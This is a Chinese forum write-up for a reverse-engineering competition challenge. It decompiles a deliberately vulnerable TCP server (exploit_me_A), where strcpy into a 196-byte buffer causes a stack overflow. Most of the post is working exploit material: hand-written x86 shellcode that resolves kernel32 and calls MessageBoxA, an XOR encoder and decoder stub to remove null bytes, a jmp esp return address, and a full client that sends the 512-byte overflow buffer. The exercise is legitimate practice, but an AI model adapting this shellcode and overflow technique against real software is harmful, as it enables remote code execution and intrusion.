哈,放假三天,看了下论坛搞得竞赛项目,对第一个项目比较有兴趣,因此,做了下,可能很多朋友都参与了这个活动,其实奖品并不重要,重在参与。。。,下面给出我的答案。顺便在这里祝愿大家新年快乐。
由于exploit_me_A .exe很小,因此我的做法是:
1)逆向还原代码 exploit_me_A ,还原为c程序源码,见附件中的exploit_me_A 下载。
2)分析代码中存在的不足。找出漏洞位置。
3)组织shellcode,并设置加密。见附件中的shellcode
4)编写exploit攻击程序。见附件中的client下载.
PE分析:
将exploit_me_A还原后的代码如下:
#include "iostream.h"
#include "process.h"
#include "windows.h"
#include "Winsock2.h"
#pragma comment(lib,"Ws2_32.lib")
void pharseRecv(char * szRecv)
{
char buff[196];
strcpy(buff,szRecv); //问题出在这里,没有边界检查,造成溢出漏洞
cout<<"********************"<<endl;
cout<<"received:"<<endl;
cout<<buff<<endl;
}
void main(int argc, char* argv[],char *envp[ ])
{
WSADATA WSAData;
int nRecv;
char buffer[512];
WSAStartup(0x0101,&WSAData);
SOCKET sockServer = socket(AF_INET,SOCK_STREAM,IPPROTO_IP);
if(sockServer == INVALID_SOCKET)
{
cout<<"socket creating error!"<<endl;
exit(1);
}
sockaddr_in addrName;
addrName.sin_family = AF_INET;
addrName.sin_port = ntohs(0x1E61);
addrName.sin_addr.S_un.S_addr = htonl(0);
if(bind(sockServer,(SOCKADDR * )&addrName,sizeof(addrName)))
{
cout<<"binding stream socket error!"<<endl;
}
cout<<"**************************************"<<endl;
cout<<" exploit target server 1.0\t "<<endl;
cout<<"**************************************"<<endl;
listen(sockServer,4);
sockaddr_in addrSock;
int addrLen = sizeof(addrName);
SOCKET sockC = accept(sockServer,(SOCKADDR *)&addrSock,&addrLen);
if(sockC == INVALID_SOCKET)
{
goto QUIT;
}
do
{
GOON:
RtlZeroMemory(buffer,sizeof(buffer));
nRecv = recv(sockC,buffer,512,0);
if(nRecv < 0)
{
cout<<"reading stream message erro!"<<endl;
}
pharseRecv(buffer);
}while(nRecv != 0);
closesocket(sockC);
sockC = accept(sockServer,(SOCKADDR *)&addrSock,&addrLen);
if(sockC != INVALID_SOCKET)
goto GOON;
QUIT:
cout<<"accept error!"<<endl;
WSACleanup();
return;
}
该PE的功能是:
监听7777网络端口,与Client端进行tcp通讯。并显示收到的内容。
漏洞描述:
由于显示收到的内容时,我们设定的缓冲区大小是196字节,比我们socket通讯用的接收缓冲区512字节还要小,并且显示时,没有判断缓冲区容量。因此,在这里我们可以通过socket通讯,client端发送一段特殊的shellcode码,使服务端产生溢出,从而使shellcode获取执行权。
shellcode描述:
请注明shellcode来源:原创,修改,引用。
原创请给出开发说明
修改请给出修改说明,并注明出处,附加被引用代码
引用请给出功能描述,并注明出处,附加被引用代码
以下是一段原创的shellcode码,用于弹出一个messagebox。
功能有:
1. 查找kernel32的内存加载位置
2. 在该pe文件中搜索 LoadLibraryA, GetProcessAddress的地址
3. 加载user32.dll,并获取MessageBoxA的地址。
4. 调用MessageBoxA.
本人曾经发表过一个帖子http://bbs.pediy.com/showthread.php?t=55326
由于本帖子中生成的shellcode码长度超过了512 – 200 – 4 = 308字节长度,不能使用。
因此在原有的基础上,进行了简单修改,产生了如下代码:
void shellcodeFun()
{
unsigned int uLoadLibrary,uGetProcAddress,uKernelBase;
unsigned int ImageBase,flen;
char *FuncName;
__asm
{
jmp Start
GetFunc:
mov eax,ImageBase
mov eax,[eax+0x3c]
add eax,ImageBase
mov eax,[eax+0x78]
add eax,ImageBase
mov esi,eax
mov ecx,[eax+0x18]
mov eax,[eax+0x20]
add eax,ImageBase
mov ebx,eax
xor edx,edx
FindLoop:
push ecx
push esi
mov eax,[eax]
add eax,ImageBase
mov esi,FuncName
mov edi,eax
mov ecx,flen
cld
rep cmpsb
pop esi
je Found
inc edx
add ebx,4
mov eax,ebx
pop ecx
loop FindLoop
Found:
add esp,4
mov eax,esi
mov eax,[eax+0x1c]
add eax,ImageBase
shl edx,2
add eax,edx
mov eax,[eax]
add eax,ImageBase
jmp Founded
xor eax,eax
Founded:
ret
}
__asm
{
Start:
push esi
push ecx
xor eax, eax
xor esi, esi
mov esi, fs:[esi + 0x18]
mov eax, [esi+4]
mov eax, [eax - 0x1c]
find_kernel32_base:
dec eax
xor ax, ax
cmp word ptr [eax], 0x5a4d
jne find_kernel32_base
pop ecx
pop esi
mov uKernelBase,eax
mov ImageBase,eax
mov flen,0x0c
call LL1
_emit 'L'
_emit 'o'
_emit 'a'
_emit 'd'
_emit 'L'
_emit 'i'
_emit 'b'
_emit 'r'
_emit 'a'
_emit 'r'
_emit 'y'
_emit 'A'
_emit 0
LL1:
pop eax
mov FuncName,eax
call GetFunc
mov uLoadLibrary,eax
mov flen,0x0E
call LL2
_emit 'G'
_emit 'e'
_emit 't'
_emit 'P'
_emit 'r'
_emit 'o'
_emit 'c'
_emit 'A'
_emit 'd'
_emit 'd'
_emit 'r'
_emit 'e'
_emit 's'
_emit 's'
_emit 0
LL2:
pop eax
mov FuncName,eax
call GetFunc
mov uGetProcAddress,eax
call l1
_emit 'u'
_emit 's'
_emit 'e'
_emit 'r'
_emit '3'
_emit '2'
_emit '.'
_emit 'd'
_emit 'l'
_emit 'l'
_emit 0
l1:
call uLoadLibrary
mov ebx,eax
call l2
_emit 'M'
_emit 'e'
_emit 's'
_emit 's'
_emit 'a'
_emit 'g'
_emit 'e'
_emit 'B'
_emit 'o'
_emit 'x'
_emit 'A'
_emit 0
l2:
push ebx
call uGetProcAddress
push 0
push 0
push 0
push 0
call eax
}
}
void main(void)
{
shellcodeFun();
}
2.从中取出的shellcode码为:
unsigned char shellcode[]={
0x55,0x8B,0xEC,0x83,0xEC,0x58,0x53,0x56,0x57,0xEB,
0x56,0x8B,0x45,0xF0,0x8B,0x40,0x3C,0x03,0x45,0xF0,
0x8B,0x40,0x78,0x03,0x45,0xF0,0x8B,0xF0,0x8B,0x48,
0x18,0x8B,0x40,0x20,0x03,0x45,0xF0,0x8B,0xD8,0x33,
0xD2,0x51,0x56,0x8B,0x00,0x03,0x45,0xF0,0x8B,0x75,
0xE8,0x8B,0xF8,0x8B,0x4D,0xEC,0xFC,0xF3,0xA6,0x5E,
0x74,0x09,0x42,0x83,0xC3,0x04,0x8B,0xC3,0x59,0xE2,
0xE2,0x83,0xC4,0x04,0x8B,0xC6,0x8B,0x40,0x1C,0x03,
0x45,0xF0,0xC1,0xE2,0x02,0x03,0xC2,0x8B,0x00,0x03,
0x45,0xF0,0xEB,0x02,0x33,0xC0,0xC3,0x56,0x51,0x33,
0xC0,0x33,0xF6,0x64,0x8B,0x76,0x18,0x8B,0x46,0x04,
0x8B,0x40,0xE4,0x48,0x66,0x33,0xC0,0x66,0x81,0x38,
0x4D,0x5A,0x75,0xF5,0x59,0x5E,0x89,0x45,0xF4,0x89,
0x45,0xF0,0xC7,0x45,0xEC,0x0C,0x00,0x00,0x00,0xE8,
0x0D,0x00,0x00,0x00,0x4C,0x6F,0x61,0x64,0x4C,0x69,
0x62,0x72,0x61,0x72,0x79,0x41,0x00,0x58,0x89,0x45,
0xE8,0xE8,0x65,0xFF,0xFF,0xFF,0x89,0x45,0xFC,0xC7,
0x45,0xEC,0x0E,0x00,0x00,0x00,0xE8,0x0F,0x00,0x00,
0x00,0x47,0x65,0x74,0x50,0x72,0x6F,0x63,0x41,0x64,
0x64,0x72,0x65,0x73,0x73,0x00,0x58,0x89,0x45,0xE8,
0xE8,0x3E,0xFF,0xFF,0xFF,0x89,0x45,0xF8,0xE8,0x0B,
0x00,0x00,0x00,0x75,0x73,0x65,0x72,0x33,0x32,0x2E,
0x64,0x6C,0x6C,0x00,0xFF,0x55,0xFC,0x8B,0xD8,0xE8,
0x0C,0x00,0x00,0x00,0x4D,0x65,0x73,0x73,0x61,0x67,
0x65,0x42,0x6F,0x78,0x41,0x00,0x53,0xFF,0x55,0xF8,
0x6A,0x00,0x6A,0x00,0x6A,0x00,0x6A,0x00,0xFF,0xD0
};
3. 由于生成的shellcode码中间有0x00,因此,在strcpy拷贝的时候会被截断,因此,在这一步考虑采用加密的办法,去掉shellcode中0x00,在这里考虑使用异或的办法。
代码如下:
#include "windows.h"
#include "stdio.h"
#define KEY 0x88
unsigned char shellcode[]={
0x55,0x8B,0xEC,0x83,0xEC,0x58,0x53,0x56,0x57,0xEB,
0x56,0x8B,0x45,0xF0,0x8B,0x40,0x3C,0x03,0x45,0xF0,
0x8B,0x40,0x78,0x03,0x45,0xF0,0x8B,0xF0,0x8B,0x48,
0x18,0x8B,0x40,0x20,0x03,0x45,0xF0,0x8B,0xD8,0x33,
0xD2,0x51,0x56,0x8B,0x00,0x03,0x45,0xF0,0x8B,0x75,
0xE8,0x8B,0xF8,0x8B,0x4D,0xEC,0xFC,0xF3,0xA6,0x5E,
0x74,0x09,0x42,0x83,0xC3,0x04,0x8B,0xC3,0x59,0xE2,
0xE2,0x83,0xC4,0x04,0x8B,0xC6,0x8B,0x40,0x1C,0x03,
0x45,0xF0,0xC1,0xE2,0x02,0x03,0xC2,0x8B,0x00,0x03,
0x45,0xF0,0xEB,0x02,0x33,0xC0,0xC3,0x56,0x51,0x33,
0xC0,0x33,0xF6,0x64,0x8B,0x76,0x18,0x8B,0x46,0x04,
0x8B,0x40,0xE4,0x48,0x66,0x33,0xC0,0x66,0x81,0x38,
0x4D,0x5A,0x75,0xF5,0x59,0x5E,0x89,0x45,0xF4,0x89,
0x45,0xF0,0xC7,0x45,0xEC,0x0C,0x00,0x00,0x00,0xE8,
0x0D,0x00,0x00,0x00,0x4C,0x6F,0x61,0x64,0x4C,0x69,
0x62,0x72,0x61,0x72,0x79,0x41,0x00,0x58,0x89,0x45,
0xE8,0xE8,0x65,0xFF,0xFF,0xFF,0x89,0x45,0xFC,0xC7,
0x45,0xEC,0x0E,0x00,0x00,0x00,0xE8,0x0F,0x00,0x00,
0x00,0x47,0x65,0x74,0x50,0x72,0x6F,0x63,0x41,0x64,
0x64,0x72,0x65,0x73,0x73,0x00,0x58,0x89,0x45,0xE8,
0xE8,0x3E,0xFF,0xFF,0xFF,0x89,0x45,0xF8,0xE8,0x0B,
0x00,0x00,0x00,0x75,0x73,0x65,0x72,0x33,0x32,0x2E,
0x64,0x6C,0x6C,0x00,0xFF,0x55,0xFC,0x8B,0xD8,0xE8,
0x0C,0x00,0x00,0x00,0x4D,0x65,0x73,0x73,0x61,0x67,
0x65,0x42,0x6F,0x78,0x41,0x00,0x53,0xFF,0x55,0xF8,
0x6A,0x00,0x6A,0x00,0x6A,0x00,0x6A,0x00,0xFF,0xD0
};
int main(int argc, char* argv[])
{
int nLen;
unsigned char enShellcode[512] = {0};
nLen = sizeof(shellcode)-1;
FILE * fp = fopen("c:\\hh.txt","wb");
for(int i = 0; i <= nLen; i++)
{
enShellcode[i] = shellcode[i] ^ KEY;
fprintf(fp,"%#x,",enShellcode[i]);
printf("%#x,",enShellcode[i]);
if(i %10 == 0)
{
printf("\n");
fprintf(fp,"\n");
}
}
fclose(fp);
return 0;
}
由此,我们用utraledit从c:\hh.txt文件中得到加密后的内容如下:
Unsigned char enShellcode[] = { 0xdd,
0x3,0x64,0xb,0x64,0xd0,0xdb,0xde,0xdf,0x63,0xde,
0x3,0xcd,0x78,0x3,0xc8,0xb4,0x8b,0xcd,0x78,0x3,
0xc8,0xf0,0x8b,0xcd,0x78,0x3,0x78,0x3,0xc0,0x90,
0x3,0xc8,0xa8,0x8b,0xcd,0x78,0x3,0x50,0xbb,0x5a,
0xd9,0xde,0x3,0x88,0x8b,0xcd,0x78,0x3,0xfd,0x60,
0x3,0x70,0x3,0xc5,0x64,0x74,0x7b,0x2e,0xd6,0xfc,
0x81,0xca,0xb,0x4b,0x8c,0x3,0x4b,0xd1,0x6a,0x6a,
0xb,0x4c,0x8c,0x3,0x4e,0x3,0xc8,0x94,0x8b,0xcd,
0x78,0x49,0x6a,0x8a,0x8b,0x4a,0x3,0x88,0x8b,0xcd,
0x78,0x63,0x8a,0xbb,0x48,0x4b,0xde,0xd9,0xbb,0x48,
0xbb,0x7e,0xec,0x3,0xfe,0x90,0x3,0xce,0x8c,0x3,
0xc8,0x6c,0xc0,0xee,0xbb,0x48,0xee,0x9,0xb0,0xc5,
0xd2,0xfd,0x7d,0xd1,0xd6,0x1,0xcd,0x7c,0x1,0xcd,
0x78,0x4f,0xcd,0x64,0x84,0x88,0x88,0x88,0x60,0x85,
0x88,0x88,0x88,0xc4,0xe7,0xe9,0xec,0xc4,0xe1,0xea,
0xfa,0xe9,0xfa,0xf1,0xc9,0x88,0xd0,0x1,0xcd,0x60,
0x60,0xed,0x77,0x77,0x77,0x1,0xcd,0x74,0x4f,0xcd,
0x64,0x86,0x88,0x88,0x88,0x60,0x87,0x88,0x88,0x88,
0xcf,0xed,0xfc,0xd8,0xfa,0xe7,0xeb,0xc9,0xec,0xec,
0xfa,0xed,0xfb,0xfb,0x88,0xd0,0x1,0xcd,0x60,0x60,
0xb6,0x77,0x77,0x77,0x1,0xcd,0x70,0x60,0x83,0x88,
0x88,0x88,0xfd,0xfb,0xed,0xfa,0xbb,0xba,0xa6,0xec,
0xe4,0xe4,0x88,0x77,0xdd,0x74,0x3,0x50,0x60,0x84,
0x88,0x88,0x88,0xc5,0xed,0xfb,0xfb,0xe9,0xef,0xed,
0xca,0xe7,0xf0,0xc9,0x88,0xdb,0x77,0xdd,0x70,0xe2,
0x88,0xe2,0x88,0xe2,0x88,0xe2,0x88,0x77,0x58};
现在,我们得到的shellcode中已经没有0x00.
4. 接下来我们还要写一段解密的代码,放在shellcode前。目前我们的enshellcode数组的字节数是260字节。 在开头我们反编译exploit_exe_A后还原的代码中可以看到,服务端定义的socket通讯缓冲是512字节,因此,我们在这里构造一个512字节的字符串。由于我们把shellcode加密为enshellcode,因此在我们构造的512字节的缓冲区中,要在开始部分放入解码程序。我们的解码程序如下:
void decodeShellcode()
{
_asm
{
jmp decode_end
decode_start:
pop edx
dec edx
xor ecx,ecx
mov cx,260
decode_loop:
xor byte PTR[edx+ecx],KEY
loop decode_loop
jmp decode_ok
decode_end:
call decode_start
decode_ok:
}
}
由此,我们得到这段代码的机器码为:
Unsighed char decode[23] = { 0xeb, 0x10,0x5a,0x4a,0x33,0xc9,0x66,0xb9,0x04,0x01,
0x80,0x34,0x0a,0x88,0xe2,0xfa,0xeb,0x05,0xe8,0xeb,
0xff,0xff,0xff
};
5. 到此我们的shellcode机器码组成为:decode + enshellcode两部分。
我们重新写出来,
Unsighed char shellcode[23 + 260] = { 0xeb, 0x10,0x5a,0x4a,0x33,0xc9,0x66,0xb9,0x04,0x01,
0x80,0x34,0x0a,0x88,0xe2,0xfa,0xeb,0x05,0xe8,0xeb,
0xff,0xff,0xff, 0xdd,
0x3,0x64,0xb,0x64,0xd0,0xdb,0xde,0xdf,0x63,0xde,
0x3,0xcd,0x78,0x3,0xc8,0xb4,0x8b,0xcd,0x78,0x3,
0xc8,0xf0,0x8b,0xcd,0x78,0x3,0x78,0x3,0xc0,0x90,
0x3,0xc8,0xa8,0x8b,0xcd,0x78,0x3,0x50,0xbb,0x5a,
0xd9,0xde,0x3,0x88,0x8b,0xcd,0x78,0x3,0xfd,0x60,
0x3,0x70,0x3,0xc5,0x64,0x74,0x7b,0x2e,0xd6,0xfc,
0x81,0xca,0xb,0x4b,0x8c,0x3,0x4b,0xd1,0x6a,0x6a,
0xb,0x4c,0x8c,0x3,0x4e,0x3,0xc8,0x94,0x8b,0xcd,
0x78,0x49,0x6a,0x8a,0x8b,0x4a,0x3,0x88,0x8b,0xcd,
0x78,0x63,0x8a,0xbb,0x48,0x4b,0xde,0xd9,0xbb,0x48,
0xbb,0x7e,0xec,0x3,0xfe,0x90,0x3,0xce,0x8c,0x3,
0xc8,0x6c,0xc0,0xee,0xbb,0x48,0xee,0x9,0xb0,0xc5,
0xd2,0xfd,0x7d,0xd1,0xd6,0x1,0xcd,0x7c,0x1,0xcd,
0x78,0x4f,0xcd,0x64,0x84,0x88,0x88,0x88,0x60,0x85,
0x88,0x88,0x88,0xc4,0xe7,0xe9,0xec,0xc4,0xe1,0xea,
0xfa,0xe9,0xfa,0xf1,0xc9,0x88,0xd0,0x1,0xcd,0x60,
0x60,0xed,0x77,0x77,0x77,0x1,0xcd,0x74,0x4f,0xcd,
0x64,0x86,0x88,0x88,0x88,0x60,0x87,0x88,0x88,0x88,
0xcf,0xed,0xfc,0xd8,0xfa,0xe7,0xeb,0xc9,0xec,0xec,
0xfa,0xed,0xfb,0xfb,0x88,0xd0,0x1,0xcd,0x60,0x60,
0xb6,0x77,0x77,0x77,0x1,0xcd,0x70,0x60,0x83,0x88,
0x88,0x88,0xfd,0xfb,0xed,0xfa,0xbb,0xba,0xa6,0xec,
0xe4,0xe4,0x88,0x77,0xdd,0x74,0x3,0x50,0x60,0x84,
0x88,0x88,0x88,0xc5,0xed,0xfb,0xfb,0xe9,0xef,0xed,
0xca,0xe7,0xf0,0xc9,0x88,0xdb,0x77,0xdd,0x70,0xe2,
0x88,0xe2,0x88,0xe2,0x88,0xe2,0x88,0x77,0x58};
我们的shellcode核心代码长度为283字节。
6.我们在此打算使用jmp esp的方式来执行shellcode,因此,我们还要找出jmp esp对应的机器码, 我们可以用调试器搜索一下EEF4(jmp esp)找到一个合适的地址。我得到的0x7ffa4512,这个地址填入到ret就可以了。
分析我们的溢出代码组合应该为:
196字节乱码 + 4字节ebp + 4字节ret + shellcode 他们的长度和为512字节。
因此我们最终构造的字符串为:
unsigned char Buffer[512] =
{
0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,
0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,
0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,
0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,
0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,
0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,
0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,
0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,
0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,
0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,
0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,
0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,
0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,
0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,
0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,
0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,
0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,
0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,
0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,
0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,
0x12,0x45,0xfa,0x7f, //--ret
0xeb, 0x10,0x5a,0x4a,0x33,0xc9,0x66,0xb9,0x04,0x01,
0x80,0x34,0x0a,0x88,0xe2,0xfa,0xeb,0x05,0xe8,0xeb,
0xff,0xff,0xff, 0xdd,
0x3,0x64,0xb,0x64,0xd0,0xdb,0xde,0xdf,0x63,0xde,
0x3,0xcd,0x78,0x3,0xc8,0xb4,0x8b,0xcd,0x78,0x3,
0xc8,0xf0,0x8b,0xcd,0x78,0x3,0x78,0x3,0xc0,0x90,
0x3,0xc8,0xa8,0x8b,0xcd,0x78,0x3,0x50,0xbb,0x5a,
0xd9,0xde,0x3,0x88,0x8b,0xcd,0x78,0x3,0xfd,0x60,
0x3,0x70,0x3,0xc5,0x64,0x74,0x7b,0x2e,0xd6,0xfc,
0x81,0xca,0xb,0x4b,0x8c,0x3,0x4b,0xd1,0x6a,0x6a,
0xb,0x4c,0x8c,0x3,0x4e,0x3,0xc8,0x94,0x8b,0xcd,
0x78,0x49,0x6a,0x8a,0x8b,0x4a,0x3,0x88,0x8b,0xcd,
0x78,0x63,0x8a,0xbb,0x48,0x4b,0xde,0xd9,0xbb,0x48,
0xbb,0x7e,0xec,0x3,0xfe,0x90,0x3,0xce,0x8c,0x3,
0xc8,0x6c,0xc0,0xee,0xbb,0x48,0xee,0x9,0xb0,0xc5,
0xd2,0xfd,0x7d,0xd1,0xd6,0x1,0xcd,0x7c,0x1,0xcd,
0x78,0x4f,0xcd,0x64,0x84,0x88,0x88,0x88,0x60,0x85,
0x88,0x88,0x88,0xc4,0xe7,0xe9,0xec,0xc4,0xe1,0xea,
0xfa,0xe9,0xfa,0xf1,0xc9,0x88,0xd0,0x1,0xcd,0x60,
0x60,0xed,0x77,0x77,0x77,0x1,0xcd,0x74,0x4f,0xcd,
0x64,0x86,0x88,0x88,0x88,0x60,0x87,0x88,0x88,0x88,
0xcf,0xed,0xfc,0xd8,0xfa,0xe7,0xeb,0xc9,0xec,0xec,
0xfa,0xed,0xfb,0xfb,0x88,0xd0,0x1,0xcd,0x60,0x60,
0xb6,0x77,0x77,0x77,0x1,0xcd,0x70,0x60,0x83,0x88,
0x88,0x88,0xfd,0xfb,0xed,0xfa,0xbb,0xba,0xa6,0xec,
0xe4,0xe4,0x88,0x77,0xdd,0x74,0x3,0x50,0x60,0x84,
0x88,0x88,0x88,0xc5,0xed,0xfb,0xfb,0xe9,0xef,0xed,
0xca,0xe7,0xf0,0xc9,0x88,0xdb,0x77,0xdd,0x70,0xe2,
0x88,0xe2,0x88,0xe2,0x88,0xe2,0x88,0x77,0x58
};
7. client端代码如下:
#include "iostream.h"
#include "process.h"
#include "windows.h"
#include "Winsock2.h"
#pragma comment(lib,"Ws2_32.lib")
unsigned char Buffer[512] =
{
0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,
0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,
0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,
0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,
0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,
0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,
0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,
0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,
0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,
0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,
0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,
0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,
0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,
0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,
0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,
0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,
0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,
0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,
0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,
0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,
0x12,0x45,0xfa,0x7f, //--ret
0xeb, 0x10,0x5a,0x4a,0x33,0xc9,0x66,0xb9,0x04,0x01,
0x80,0x34,0x0a,0x88,0xe2,0xfa,0xeb,0x05,0xe8,0xeb,
0xff,0xff,0xff, 0xdd,
0x3,0x64,0xb,0x64,0xd0,0xdb,0xde,0xdf,0x63,0xde,
0x3,0xcd,0x78,0x3,0xc8,0xb4,0x8b,0xcd,0x78,0x3,
0xc8,0xf0,0x8b,0xcd,0x78,0x3,0x78,0x3,0xc0,0x90,
0x3,0xc8,0xa8,0x8b,0xcd,0x78,0x3,0x50,0xbb,0x5a,
0xd9,0xde,0x3,0x88,0x8b,0xcd,0x78,0x3,0xfd,0x60,
0x3,0x70,0x3,0xc5,0x64,0x74,0x7b,0x2e,0xd6,0xfc,
0x81,0xca,0xb,0x4b,0x8c,0x3,0x4b,0xd1,0x6a,0x6a,
0xb,0x4c,0x8c,0x3,0x4e,0x3,0xc8,0x94,0x8b,0xcd,
0x78,0x49,0x6a,0x8a,0x8b,0x4a,0x3,0x88,0x8b,0xcd,
0x78,0x63,0x8a,0xbb,0x48,0x4b,0xde,0xd9,0xbb,0x48,
0xbb,0x7e,0xec,0x3,0xfe,0x90,0x3,0xce,0x8c,0x3,
0xc8,0x6c,0xc0,0xee,0xbb,0x48,0xee,0x9,0xb0,0xc5,
0xd2,0xfd,0x7d,0xd1,0xd6,0x1,0xcd,0x7c,0x1,0xcd,
0x78,0x4f,0xcd,0x64,0x84,0x88,0x88,0x88,0x60,0x85,
0x88,0x88,0x88,0xc4,0xe7,0xe9,0xec,0xc4,0xe1,0xea,
0xfa,0xe9,0xfa,0xf1,0xc9,0x88,0xd0,0x1,0xcd,0x60,
0x60,0xed,0x77,0x77,0x77,0x1,0xcd,0x74,0x4f,0xcd,
0x64,0x86,0x88,0x88,0x88,0x60,0x87,0x88,0x88,0x88,
0xcf,0xed,0xfc,0xd8,0xfa,0xe7,0xeb,0xc9,0xec,0xec,
0xfa,0xed,0xfb,0xfb,0x88,0xd0,0x1,0xcd,0x60,0x60,
0xb6,0x77,0x77,0x77,0x1,0xcd,0x70,0x60,0x83,0x88,
0x88,0x88,0xfd,0xfb,0xed,0xfa,0xbb,0xba,0xa6,0xec,
0xe4,0xe4,0x88,0x77,0xdd,0x74,0x3,0x50,0x60,0x84,
0x88,0x88,0x88,0xc5,0xed,0xfb,0xfb,0xe9,0xef,0xed,
0xca,0xe7,0xf0,0xc9,0x88,0xdb,0x77,0xdd,0x70,0xe2,
0x88,0xe2,0x88,0xe2,0x88,0xe2,0x88,0x77,0x58
};
int main(int argc, char* argv[])
{
WSADATA WSAData;
int nRecv;
WSAStartup(0x0101,&WSAData);
SOCKET sockClient = socket(AF_INET,SOCK_STREAM,IPPROTO_IP);
if(sockClient == INVALID_SOCKET)
{
cout<<"socket creating error!"<<endl;
exit(1);
}
sockaddr_in addrName;
addrName.sin_family = AF_INET;
addrName.sin_port = ntohs(0x1E61);
addrName.sin_addr.S_un.S_addr = inet_addr("127.0.0.1");
if(connect(sockClient,(SOCKADDR*)&addrName,sizeof(addrName)) == SOCKET_ERROR)
{
cout<<"socket connect error"<<endl;
exit(1);
}
nRecv = send(sockClient,(char *)Buffer,512,0);
WSACleanup();
return 0;
}
exploit运行截图
[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)